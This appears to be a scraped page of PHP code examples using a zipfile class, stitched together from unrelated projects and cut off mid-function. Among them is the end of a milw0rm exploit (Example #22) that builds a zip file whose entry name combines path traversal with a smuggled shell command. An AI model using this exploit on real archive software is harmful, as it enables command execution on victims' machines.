    $dbresult = $db->query($sql);
    if (!$dbresult || $dbresult->isEmpty()) {
        return 0;
    }
    // nun zusammen schreiben
    $mail = "";
    while ($row = $dbresult->nextRow(MYSQL_ASSOC)) {
        $mail .= sprintf("Von:     %s<br>An:      %s<br>Betreff: %s<br>Datum: %s<p>%s<p>" . "----------------------------------------------------------------------------------------<p>", $row['senderID'] == $params->SESSION->user['playerID'] ? $params->SESSION->user['name'] : $row['name'], $row['recipientID'] == $params->SESSION->user['playerID'] ? $params->SESSION->user['name'] : $row['name'], $row['messageSubject'], $row['messageTime'], $row['messageText']);
    }
    if ($mail != "") {
        $mail = "<html><body>" . $mail . "</body></html>";
        // zip it
        require_once "zip.lib.php";
        $time_now = date("YmdHis", time());
        $zipfile = new zipfile();
        $zipfile->addFile($mail, "mail." . $time_now . ".html");
        $mail = $zipfile->file();
        // put mail together
        $mail_from = "*****@*****.**";
        $mail_subject = "Deine Uga-Agga InGame Nachrichten";
        $mail_text = "Hallo,\n\n" . "du hast im Nachrichten Fenster auf den Knopf 'Mailen&löschen' " . "gedrückt. Die dabei markierten Nachrichten werden dir nun mit dieser " . "Email zugesandt. Um den Datenverkehr gering zu halten, " . "wurden dabei deine Nachrichten komprimiert. Mit einschlägigen " . "Programmen wie WinZip lässt sich diese Datei entpacken." . "\n\nGruß, dein UA-Team";
        $filename = "mail." . $time_now . ".zip";
        $filedata = chunk_split(base64_encode($mail));
        $mail_boundary = '=_' . md5(uniqid(rand()) . microtime());
        // create header
        $mime_type = "application/zip-compressed";
        $mail_headers = "From: {$mail_from}\n" . "MIME-version: 1.0\n" . "Content-type: multipart/mixed; " . "boundary=\"{$mail_boundary}\"\n" . "Content-transfer-encoding: 7BIT\n" . "X-attachments: {$filename};\n\n";
        // hier fängt der normale mail-text an
        $mail_headers .= "--{$mail_boundary}\n" . "Content-Type: text/plain; charset=\"iso-8859-1\"\n\n" . $mail_text . "\n";
        // hier fängt der datei-anhang an
        $mail_headers .= "--{$mail_boundary}\n" . "Content-type: {$mime_type}; name=\"{$filename}\";\n" . "Content-Transfer-Encoding: base64\n" . "Content-disposition: attachment; filename=\"{$filename}\"\n\n" . $filedata;
        // gibt das ende der email aus
        $mail_headers .= "\n--{$mail_boundary}--\n";
        // und abschicken
        mail($params->SESSION->user['email2'], $mail_subject, "", $mail_headers);
    }
    return messages_deleteMessages($messageIDs);
}
Exemple #22
0
        // extra field length
        $cdrec .= pack('v', 0);
        // file comment length
        $cdrec .= pack('v', 0);
        // disk number start
        $cdrec .= pack('v', 0);
        // internal file attributes
        $cdrec .= pack('V', 32);
        // external file attributes - 'archive' bit set
        $cdrec .= pack('V', $this->old_offset);
        // relative offset of local header
        $this->old_offset += strlen($fr);
        $cdrec .= $name;
        $this->ctrl_dir[] = $cdrec;
    }
    function file()
    {
        $data = implode('', $this->datasec);
        $ctrldir = implode('', $this->ctrl_dir);
        return $data . $ctrldir . $this->eof_ctrl_dir . pack('v', sizeof($this->ctrl_dir)) . pack('v', sizeof($this->ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "";
        // .zip file comment length
    }
}
$zipfile = new zipfile();
$zipfile->addFile("lol", "../../../../../../../\" README.TXT \" " . str_repeat(" ", 0xde - strlen($cmd)) . "\" | {$cmd} | .txt");
$dump_buffer = $zipfile->file();
assert(file_put_contents("9sg.zip", $dump_buffer));
?>

# milw0rm.com [2009-06-05]
Exemple #23
0
function export_theme($theme_dir)
{
    require AT_INCLUDE_PATH . 'classes/zipfile.class.php';
    /* for zipfile */
    require AT_INCLUDE_PATH . 'classes/XML/XML_HTMLSax/XML_HTMLSax.php';
    /* for XML_HTMLSax */
    require 'theme_template.inc.php';
    /* for theme XML templates */
    global $db;
    //identify current theme and then searches db for relavent info
    $sql = "SELECT * FROM " . TABLE_PREFIX . "themes WHERE dir_name = '{$theme_dir}'";
    $result = mysql_query($sql, $db);
    $row = mysql_fetch_assoc($result);
    $dir = $row['dir_name'] . '/';
    $title = $row['title'];
    $version = $row['version'];
    $type = $row['type'];
    $last_updated = $row['last_updated'];
    $extra_info = $row['extra_info'];
    //generate 'theme_info.xml' file based on info
    $info_xml = str_replace(array('{TITLE}', '{VERSION}', '{TYPE}', '{LAST_UPDATED}', '{EXTRA_INFO}'), array($title, $version, $type, $last_updated, $extra_info), $theme_template_xml);
    //zip together all the contents of the folder along with the XML file
    $zipfile = new zipfile();
    $zipfile->create_dir($dir);
    //update installation folder
    $dir1 = get_main_theme_dir(intval($row["customized"])) . $dir;
    $zipfile->add_file($info_xml, $dir . 'theme_info.xml');
    /* zip other required files */
    $zipfile->add_dir($dir1, $dir);
    /*close & send*/
    $zipfile->close();
    //Name the Zip file and sends to user for download
    $zipfile->send_file(str_replace(array(' ', ':'), '_', $title));
}
Exemple #24
0
 /**
  * Writes a zip file of an array of release guids directly to the stream
  */
 public function getZipped($guids)
 {
     $s = new Settings();
     $this->nzb = new NZB();
     $zipfile = new zipfile();
     foreach ($guids as $guid) {
         $nzbpath = $this->nzb->getNZBPath($guid, $s->getSetting('nzbpath'));
         if (file_exists($nzbpath)) {
             ob_start();
             @readgzfile($nzbpath);
             $nzbfile = ob_get_contents();
             ob_end_clean();
             $filename = $guid;
             $r = $this->getByGuid($guid);
             if ($r) {
                 $filename = $r["searchname"];
             }
             $zipfile->addFile($nzbfile, $filename . ".nzb");
         }
     }
     return $zipfile->file();
 }
Exemple #25
0
function compress(&$filename, &$filedump, $compress)
{
    global $content_encoding;
    global $mime_type;
    if ($compress == 'bzip' && @function_exists('bzcompress')) {
        $filename .= '.bz2';
        $mime_type = 'application/x-bzip2';
        $filedump = bzcompress($filedump);
    } else {
        if ($compress == 'gzip' && @function_exists('gzencode')) {
            $filename .= '.gz';
            $content_encoding = 'x-gzip';
            $mime_type = 'application/x-gzip';
            $filedump = gzencode($filedump);
        } else {
            if ($compress == 'zip' && @function_exists('gzcompress')) {
                $filename .= '.zip';
                $mime_type = 'application/zip';
                $zipfile = new zipfile();
                $zipfile->addFile($filedump, substr($filename, 0, -4));
                $filedump = $zipfile->file();
            } else {
                $mime_type = 'application/octet-stream';
            }
        }
    }
}
Exemple #26
0
/* for zipfile */
require AT_INCLUDE_PATH . 'classes/vcard.php';
/* for vcard */
require AT_INCLUDE_PATH . 'classes/XML/XML_HTMLSax/XML_HTMLSax.php';
/* for XML_HTMLSax */
require AT_INCLUDE_PATH . '../mods/_core/imscp/include/ims_template.inc.php';
/* for ims templates + print_organizations() */
require_once AT_INCLUDE_PATH . 'classes/ContentManager.class.php';
/* to retrieve content resources/medias from at_content[text] */
$contentManager = new ContentManager($db, $course_id);
if (isset($_POST['cancel'])) {
    $msg->addFeedback('EXPORT_CANCELLED');
    header('Location: ../content/index.php');
    exit;
}
$zipfile = new zipfile();
$zipfile->create_dir('resources/');
/*
	the following resources are to be identified:
	even if some of these can't be images, they can still be files in the content dir.
	theoretically the only urls we wouldn't deal with would be for a <!DOCTYPE and <form>
	img		=> src
	a		=> href				// ignore if href doesn't exist (ie. <a name>)
	object	=> data | classid	// probably only want data
	applet	=> classid | archive			// whatever these two are should double check to see if it's a valid file (not a dir)
	link	=> href
	script	=> src
	form	=> action
	input	=> src
	iframe	=> src
*/
 /**
  * Generate the application based on the selected tables and options
  */
 public function Generate()
 {
     // check for all required fields
     if (empty($_REQUEST["table_name"])) {
         throw new Exception("Please select at least one table to generate");
     }
     $cstring = $this->GetConnectionString();
     // initialize the database connection
     $handler = new DBEventHandler();
     $connection = new DBConnection($cstring, $handler);
     $server = new DBServer($connection);
     $dbSchema = new DBSchema($server);
     $debug = isset($_REQUEST["debug"]) && $_REQUEST["debug"] == "1";
     $parameters = array();
     $tableNames = $_REQUEST["table_name"];
     $packageName = $_REQUEST["package"];
     $debug_output = "";
     $selectedTables = array();
     foreach ($tableNames as $tableName) {
         $selectedTables[] = $dbSchema->Tables[$tableName];
     }
     // see if arbitrary parameters were passed in - in which case they will be passed through to the templates
     $tmp = RequestUtil::Get('parameters');
     if ($tmp) {
         $pairs = explode("\n", str_replace("\r", "", $tmp));
         foreach ($pairs as $pair) {
             list($key, $val) = explode("=", $pair, 2);
             $parameters[$key] = $val;
         }
     }
     // check for required parameters
     if (!array_key_exists('max_items_in_topnav', $parameters)) {
         $parameters['max_items_in_topnav'] = self::$DEFAULT_MAX_ITEMS_IN_TOPNAV;
     }
     $zipFile = new zipfile();
     $codeRoot = GlobalConfig::$APP_ROOT . '/code/';
     $tempRoot = GlobalConfig::$APP_ROOT . '/temp/';
     // initialize smarty
     $smarty = new Smarty();
     $smarty->template_dir = $codeRoot;
     $smarty->compile_dir = $tempRoot;
     $smarty->config_dir = $tempRoot;
     $smarty->cache_dir = $tempRoot;
     $smarty->caching = false;
     $appname = RequestUtil::Get("appname");
     $appRoot = RequestUtil::Get("appRoot");
     $includePath = RequestUtil::Get("includePath");
     $includePhar = RequestUtil::Get("includePhar");
     $enableLongPolling = RequestUtil::Get("enableLongPolling");
     $config = new AppConfig($codeRoot . $packageName);
     foreach ($config->GetTemplateFiles() as $templateFile) {
         if ($templateFile->generate_mode == 3) {
             if ($includePhar == '1') {
                 // proceed, copy the phar file
                 $templateFile->generate_mode = 2;
             } else {
                 // skip the phar file
                 continue;
             }
         }
         if ($templateFile->generate_mode == 2) {
             // this is a template that is copied without parsing to the project (ie images, static files, etc)
             $templateFilename = str_replace(array('{$appname}', '{$appname|lower}', '{$appname|upper}'), array($appname, strtolower($appname), strtoupper($appname)), $templateFile->destination);
             $contents = file_get_contents($codeRoot . $templateFile->source);
             // this is a direct copy
             if ($debug) {
                 $debug_output .= "\r\n###############################################################\r\n" . "# {$templateFilename}\r\n###############################################################\r\n" . "(contents of " . $codeRoot . $templateFile->source . ")\r\n";
             } else {
                 $zipFile->addFile($contents, $templateFilename);
             }
         } elseif ($templateFile->generate_mode == 1) {
             // single template where one is generated for the entire project instead of one for each selected table
             $templateFilename = str_replace(array('{$appRoot}', '{$appRoot|lower}', '{$appRoot|upper}'), array($appRoot, strtolower($appRoot), strtoupper($appRoot)), $templateFile->destination);
             $smarty->clearAllAssign();
             foreach ($parameters as $key => $val) {
                 $smarty->assign($key, $val);
             }
             $smarty->assign("tableNames", $tableNames);
             $smarty->assign("templateFilename", $templateFilename);
             $smarty->assign("schema", $dbSchema);
             $smarty->assign("tables", $dbSchema->Tables);
             $smarty->assign("connection", $cstring);
             $smarty->assign("appname", $appname);
             $smarty->assign("appRoot", $appRoot);
             $smarty->assign("includePath", $includePath);
             $smarty->assign("includePhar", $includePhar);
             $smarty->assign("enableLongPolling", $enableLongPolling);
             $smarty->assign("PHREEZE_VERSION", Phreezer::$Version);
             $tableInfos = array();
             // add all tables to a tableInfos array that can be used for cross-referencing by table name
             foreach ($dbSchema->Tables as $table) {
                 if ($table->GetPrimaryKeyName()) {
                     $tableName = $table->Name;
                     $tableInfos[$tableName] = array();
                     $tableInfos[$tableName]['table'] = $dbSchema->Tables[$tableName];
                     $tableInfos[$tableName]['singular'] = $_REQUEST[$tableName . "_singular"];
                     $tableInfos[$tableName]['plural'] = $_REQUEST[$tableName . "_plural"];
                     $tableInfos[$tableName]['prefix'] = $_REQUEST[$tableName . "_prefix"];
                     $tableInfos[$tableName]['templateFilename'] = $templateFilename;
                 }
             }
             $smarty->assign("tableInfos", $tableInfos);
             $smarty->assign("selectedTables", $selectedTables);
             if ($debug) {
                 $debug_output .= "\r\n###############################################################\r\n" . "# {$templateFilename}\r\n###############################################################\r\n" . $smarty->fetch($templateFile->source) . "\r\n";
             } else {
                 // we don't like bare linefeed characters
                 $content = $body = preg_replace("/^(?=\n)|[^\r](?=\n)/", "\\0\r", $smarty->fetch($templateFile->source));
                 $zipFile->addFile($content, $templateFilename);
             }
         } else {
             // enumerate all selected tables and merge them with the selected template
             // append each to the zip file for output
             foreach ($tableNames as $tableName) {
                 $singular = $_REQUEST[$tableName . "_singular"];
                 $plural = $_REQUEST[$tableName . "_plural"];
                 $prefix = $_REQUEST[$tableName . "_prefix"];
                 $templateFilename = str_replace(array('{$singular}', '{$plural}', '{$table}', '{$appname}', '{$singular|lower}', '{$plural|lower}', '{$table|lower}', '{$appname|lower}', '{$singular|upper}', '{$plural|upper}', '{$table|upper}', '{$appname|upper}'), array($singular, $plural, $tableName, $appname, strtolower($singular), strtolower($plural), strtolower($tableName), strtolower($appname), strtoupper($singular), strtoupper($plural), strtoupper($tableName), strtoupper($appname)), $templateFile->destination);
                 $smarty->clearAllAssign();
                 $smarty->assign("appname", $appname);
                 $smarty->assign("singular", $singular);
                 $smarty->assign("plural", $plural);
                 $smarty->assign("prefix", $prefix);
                 $smarty->assign("templateFilename", $templateFilename);
                 $smarty->assign("table", $dbSchema->Tables[$tableName]);
                 $smarty->assign("connection", $cstring);
                 $smarty->assign("appRoot", $appRoot);
                 $smarty->assign("includePath", $includePath);
                 $smarty->assign("includePhar", $includePhar);
                 $smarty->assign("enableLongPolling", $enableLongPolling);
                 $smarty->assign("PHREEZE_VERSION", Phreezer::$Version);
                 $tableInfos = array();
                 // add all tables to a tableInfos array that can be used for cross-referencing by table name
                 foreach ($dbSchema->Tables as $table) {
                     if ($table->GetPrimaryKeyName()) {
                         $tableName = $table->Name;
                         $tableInfos[$tableName] = array();
                         $tableInfos[$tableName]['table'] = $dbSchema->Tables[$tableName];
                         $tableInfos[$tableName]['singular'] = $_REQUEST[$tableName . "_singular"];
                         $tableInfos[$tableName]['plural'] = $_REQUEST[$tableName . "_plural"];
                         $tableInfos[$tableName]['prefix'] = $_REQUEST[$tableName . "_prefix"];
                         $tableInfos[$tableName]['templateFilename'] = $templateFilename;
                     }
                 }
                 $smarty->assign("tableInfos", $tableInfos);
                 $smarty->assign("selectedTables", $selectedTables);
                 foreach ($parameters as $key => $val) {
                     $smarty->assign($key, $val);
                 }
                 //print "<pre>"; print_r($dbSchema->Tables[$tableName]->PrimaryKeyIsAutoIncrement()); die();
                 if ($debug) {
                     $debug_output .= "\r\n###############################################################\r\n" . "# {$templateFilename}\r\n###############################################################\r\n" . $smarty->fetch($templateFile->source) . "\r\n";
                 } else {
                     $zipFile->addFile($smarty->fetch($templateFile->source), $templateFilename);
                 }
             }
         }
     }
     if ($debug) {
         header("Content-type: text/plain");
         print $debug_output;
     } else {
         // now output the zip as binary data to the browser
         header("Content-type: application/force-download");
         // laplix 2007-11-02.
         // Use the application name provided by the user in show_tables.
         //header("Content-disposition: attachment; filename=".str_replace(" ","_",$G_CONNSTR->DBName).".zip");
         header("Content-disposition: attachment; filename=" . str_replace(" ", "_", strtolower(str_replace("/", "", $appRoot))) . ".zip");
         header("Content-Transfer-Encoding: Binary");
         header('Content-Type: application/zip');
         print $zipFile->file();
     }
 }
<?php

/**
 * generate an WebApp file for Prism / WebRunner
 *
 * @see http://wiki.mozilla.org/Prism
 */
/**
 *
 */
define('PMA_MINIMUM_COMMON', true);
require_once './libraries/common.inc.php';
require_once './libraries/zip.lib.php';
// ini file
$parameters = array('id' => 'phpMyAdmin@' . $_SERVER['HTTP_HOST'], 'uri' => $_SESSION['PMA_Config']->get('PmaAbsoluteUri'), 'status' => 'yes', 'location' => 'no', 'sidebar' => 'no', 'navigation' => 'no', 'icon' => 'phpMyAdmin');
// dom sript file
// none need yet
// icon
$icon = 'favicon.ico';
// name
$name = 'phpMyAdmin.webapp';
$ini_file = "[Parameters]\n";
foreach ($parameters as $key => $value) {
    $ini_file .= $key . '=' . $value . "\n";
}
$zip = new zipfile();
$zip->addFile($ini_file, 'webapp.ini');
$zip->addFile(file_get_contents($icon), 'phpMyAdmin.ico');
header('Content-Type: application/webapp');
header('Content-Disposition: attachment; filename="' . $name . '"');
echo $zip->file();
Exemple #29
0
require_once TR_INCLUDE_PATH . 'classes/zipfile.class.php';
/* for zipfile */
require_once TR_INCLUDE_PATH . 'classes/vcard.php';
/* for vcard */
require_once TR_INCLUDE_PATH . 'classes/XML/XML_HTMLSax/XML_HTMLSax.php';
/* for XML_HTMLSax */
require_once TR_INCLUDE_PATH . 'classes/ContentOutputParser.class.php';
/* to retrieve content resources/medias from at_content[text] */
require_once TR_INCLUDE_PATH . '../home/imscc/include/ims_template.inc.php';
/* for ims templates + print_organizations() */
if (isset($_POST['cancel'])) {
    $msg->addFeedback('EXPORT_CANCELLED');
    header('Location: ../index.php');
    exit;
}
$zipfile = new zipfile();
$zipfile->create_dir('resources/');
/* get all the content */
$content = array();
$paths = array();
$top_content_parent_id = 0;
$handler = new ContentOutputParser();
$parser = new XML_HTMLSax();
$parser->set_object($handler);
$parser->set_element_handler('openHandler', 'closeHandler');
$contentDAO = new ContentDAO();
$rows = $contentDAO->getContentByCourseID($course_id);
//if (authenticate(TR_PRIV_CONTENT, TR_PRIV_RETURN)) {
//	$sql = "SELECT *, UNIX_TIMESTAMP(last_modified) AS u_ts FROM ".TABLE_PREFIX."content WHERE course_id=$course_id ORDER BY content_parent_id, ordering";
//} else {
//	$sql = "SELECT *, UNIX_TIMESTAMP(last_modified) AS u_ts FROM ".TABLE_PREFIX."content WHERE course_id=$course_id ORDER BY content_parent_id, ordering";
Exemple #30
0
    $external_id = basename($id);
    // scope is limited to the inbox
    if ($id) {
        $id = $context['path_to_root'] . 'inbox/yacs/' . $id;
    }
}
// process the provided file
if ($id) {
    // not yet a success
    $success = FALSE;
    // ensure file exists
    if (!is_readable($id)) {
        Logger::error(sprintf(i18n::s('Impossible to read %s.'), basename($id)));
    } elseif (isset($external_id) && preg_match('/\\.zip$/i', $external_id)) {
        include_once '../shared/zipfile.php';
        $zipfile = new zipfile();
        // extract archive components and save them in mentioned directory --strip yacs from path, if any
        if ($count = $zipfile->explode($id, 'scripts/staging', 'yacs/')) {
            $context['text'] .= '<p>' . sprintf(i18n::s('%d files have been extracted.'), $count) . "</p>\n";
            $success = TRUE;
        } else {
            Logger::error(sprintf(i18n::s('Nothing has been extracted from %s.'), $external_id));
        }
        // ensure we have the external library to explode other kinds of archives
    } elseif (!is_readable('../included/tar.php')) {
        Logger::error(i18n::s('Impossible to extract files.'));
    } else {
        include_once $context['path_to_root'] . 'included/tar.php';
        $handle = new Archive_Tar($id);
        if ($handle->extractModify($context['path_to_root'] . 'scripts/staging', 'yacs')) {
            $success = TRUE;